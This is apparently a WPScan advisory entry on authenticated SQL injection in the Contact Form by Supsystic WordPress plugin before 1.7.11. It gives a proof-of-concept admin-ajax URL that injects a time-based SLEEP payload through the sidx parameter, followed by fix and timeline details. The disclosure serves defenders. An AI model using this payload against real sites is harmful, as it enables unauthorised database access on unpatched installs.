WordPress Plugin Vulnerabilities
Contact Form by Supsystic < 1.7.11 - Authenticated SQL Injections
Description
The GET parameters sidx and sord were used in a SQL statement without being sanitised when searching for Forms in the dashboard, leading to an authenticated SQL Injection issues.
Proof of Concept
https://example.com/wp-admin/admin-ajax.php?mod=forms&action=getListForTbl&pl=cfs&reqType=ajax&search%5Btext_like%5D=a&_search=false&nd=1612793797105&rows=10&page=0&sord=desc&sidx=id%20AND%20(SELECT%2042%20FROM%20(SELECT(SLEEP(5)))b)
Affects Plugins
Fixed in 1.7.11 References
Exploitdb
Classification
Type
SQLI
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Erik David Martin
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2021-02-08 (about 2 years ago)
Added
2021-02-08 (about 2 years ago)
Last Updated
2021-02-10 (about 2 years ago)
WPScan 